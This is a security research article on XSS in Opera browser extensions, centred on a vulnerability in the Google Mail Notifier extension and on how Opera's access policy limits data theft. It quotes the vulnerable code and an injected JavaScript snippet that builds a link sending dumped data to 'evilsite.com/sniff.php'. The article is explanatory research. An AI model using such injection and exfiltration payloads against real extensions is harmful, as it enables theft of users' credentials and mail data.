===========================================================================
Web application vulnerabilities in context of browser extensions - 2: Opera
===========================================================================
.. |date| date::
:Authors: Taras Ivashchenko
:Contact: http://oxdef.info
:Date: |date|
:Copyright: This work is licensed under a `Creative Commons Attribution-Share Alike 3.0 Unported License <http://creativecommons.org/licenses/by-sa/3.0/>`_
Intro
-----
Lets continue to research possible security problems in case of using popular web technologies in browser extensions.
Opera_ is one of the most powerful web browsers today. It has fast rendering and JavaScript engines and
a lot of other useful features_. For a long time Opera was all-in-one thing in opposition to Mozilla Firefox
with its addons. But now when one more strong player called Google Chrome_ comes into the game in browser's market,
Opera decided to support extensions too (yes-yes, I remember about Opera widgets_).
.. figure:: http://oxdef.info/papers/ext/img/opera_logo.png
Opera logo
::
Opera/9.80 (X11; Linux i686; U; en) Presto/2.7.62 Version/11.01
.. _Opera: http://www.opera.com/
.. _features: http://www.opera.com/browser/features/
.. _Chrome: http://oxdef.info/papers/ext/chrome.html
.. _widgets: http://widgets.opera.com/
Short overview
--------------
Opera's extensions_ are very similar to Google Chrome. They also uses popular web technologies
HTML, CSS and JavaScript and are based on the `W3C Widgets specification`_. There is a nice article
by Chris Mills "What's in an Opera extension?" [#]_ - you can read details in it.
Briefly Opera extension consists of follow files (some of them are optional):
* background page called "start file" (usually index.html) and scripts - it is extension engine
* popup page - page which appears when you click on extension toolbar button
* JavaScript and CSS files for injection into the pages with custom URL rules (for example, replace all mailto: links with gmail handler)
* config.xml file - like manifest.json in Google Chrome this file provides valuable meta data for the extension like name, ID, description, author data, security policy and so on
* preferences page - to manage extension options
So we have four basic parts which communicates between each other through `cross-document messaging`_: ::
Injected script <-> Background Process <-> Button/badge <-> Popup
All these parts except 'Button/badge' have **separated** (it is very important) access to `Opera Extensions API`_:
* Background Process have access to window.widget, opera.extension and opera.contexts objects - it can do everything in these borders including creation of UI elements, but can't access content of current page;
* Injected scrips have access to content of current page and can communicate with other components of extension;
* Popup page can communicate with other parts of extension with postMessage, read/write preferences.
.. [#] "What's in an Opera extension?" by Chris Mills, http://dev.opera.com/articles/view/whats-in-an-opera-extension/
.. _extensions: http://www.opera.com/addons/extensions/
.. _W3C Widgets specification: http://www.w3.org/TR/widgets/
.. _overview: http://dev.opera.com/articles/view/whats-in-an-opera-extension/
.. _cross-document messaging: http://www.whatwg.org/specs/web-apps/current-work/multipage/comms.html#web-messaging
.. _Opera Extensions API: http://www.opera.com/docs/apis/extensions/
XSS
---
The hole
~~~~~~~~
There is difference between Google Chrome and Opera in case of default restriction level for working
with external resources inside extension. Lets look on `Google Mail Notifier`_ extension.
It is amazing but this one also had a same vulnerability_ as one in Google Chrome - insecure usage of input
user data which causes attack called XSS_. In our case the malicious man sends a special letter with payload in subject or letter's body to the victim. Then when the victim checks mail with this extension payload will be executed.
.. figure:: http://oxdef.info/papers/ext/img/google_mail_xss.png
Restricted XSS in Google Mail Notifier
Vulnerable piece of code (js/menu.js): ::
...
// Check if there are Messages to display
if(event.data.msg && event.data.msg.length > 0)
{
// Add every message
for(var i=0; i < event.data.msg.length; i++)
{
var tooltip = "<div class='tooltip'><p><u>"+ lang.popup_to + " " +
event.data.msg[i].sendermail + "</u><br/>" +
lang.popup_from + " " + event.data.msg[i].authormail +
"<br/><br/></p><p>" + event.data.msg[i].summary + "</p>"
var msg = $('<div></div>').addClass('message').attr("title", tooltip).tooltip({
left: -15
})
.html("<strong>" + event.data.msg[i].authorname + "</strong> : " + event.data.msg[i].title).click({
link: event.data.msg[i].link
}, LoadLink);
$('#message_box').append(msg);
...
Typical injection point in such cases is popup window (same in Google Chrome) because usually content of this window
is made by background page using input data (e.g. RSS feeds or e-mail). But, IMHO, it can be possible in case of
processing input JSON data to use dangerous constructions for that, e.g. JavaScript function `eval` like: ::
var msg = eval("(" + response_text + ")");
instead of ::
var msg = JSON.parse(response_text);
In such scenario malicious playloada will be executed in context of background page.
Target data
~~~~~~~~~~~
One of the most popular aims of XSS is stealing of private data (e.g. auth data). At current moment
Opera does not allows extensions to access browser cookie (each extension has separated cookie storage).
So following data may be interesting for malicious man through XSS attack:
* current extension cookies (in very big number of social site extension it is auth data);
* widget.preferences data - for example, there are username and password in `Reddit Envelope`_ extension preferences
* context data - in our example with Google Notifier it can be letters data (sender, subject)
* phishing - even in limited context malicious man can use this hole to phish users
.. figure:: http://oxdef.info/papers/ext/img/xss_phishing.png
Phishing attack vector
.. _Reddit Envelope: https://addons.opera.com/addons/extensions/details/reddit-envelope/1.2.1/
How to transfer data
~~~~~~~~~~~~~~~~~~~~
Usually it can be made using "sniffer script" - in payload malicious man simple gets sniffer URL
with dumped data as parameter. In our case by default it is not trivial:
In the default policy, a user agent must deny access to network resources external to the widget
by default, whether this access is requested through APIs (e.g. XMLHttpRequest) or
through markup (e.g. iframe, script, img). [#]_
Tested extension has in config file following access_ rules: ::
...
<!-- Access Policy -->
<access origin="https://mail.google.com"/>
<access origin="https://www.google.com"/>
...
The `<access>` element allows authors permission to access external web resources. It means that if extension
needs to load some data from outside (like a web resource) then it needs to be specified in this option.
Even if you simply try to inject `IMG` tag with URL which differs from these two this image will not be shown
in popup (In my example I used Google logo from www.google.com which is in rules). There are two possible cases which can be usable for attacking:
* extension author can use an asterisk (*) as origin to specify unrestricted access to network resources
* "subdomains" attribute that indicates whether or not the host component part of the access request applies to subdomain
There is another trick - malicious man can make a link or some more attractive UI control with arbitrary URL.
So when end user clicks on it dumped data will be transfered to badman: ::
//...
var a = document.createElement('a');
var d = document.getElementById('open');
a.href = "http://evilsite.com/sniff.php?d=...";
a.id = "foo";
a.innerText = 'Open GMail Tab';
d.parentNode.replaceChild(a, d);
.. figure:: http://oxdef.info/papers/ext/img/google_mail_xss2.png
Restricted XSS in Google Mail Notifier - bypass access controls to transfer data
.. _vulnerability: http://code.google.com/p/google-mail-oex/issues/detail?id=21
.. _Google Mail Notifier: https://addons.opera.com/addons/extensions/details/google-mail-notifier/2.0/
.. _XSS: http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
.. _access: http://www.opera.com/docs/apis/extensions/configxmlresourceguide/#cxaccess
.. [#] "Widget Access Request Policy", http://www.w3.org/TR/widgets-access/
Cross extension security
------------------------
In opposition to Google Chrome Opera don't permit extensions to communicate with each other.
I hoped that injected scripts works in same way as UserJS_
User JavaScript runs on the global scope, meaning everything that is declared
in a script will be shared with the Web page. As such, it is recommended to
wrap your script with an anonymous function to protect the script's own data.
But it looks like Opera developers made injected scripts more secure and you
can't get access to the data of one extensions from another one, e.g. read variables values.
I tried different ways to get sensitive data between extensions but no one experiment was efficacious.
Only one way when one extension can make bad things to another is to modify content of page which
is injected by the script.
.. _UserJS: http://www.opera.com/docs/userjs/
Outro
-----
Opera has very similar extension's architecture to Google Chrome and
Opera extensions are also can have security holes which causes attacks like XSS.
In same time Opera extension has less opportunities to use main browser features (history, bookmarks,
limited cookies) and so it is more difficult for malicious man to get user's private data
through vulnerable extension.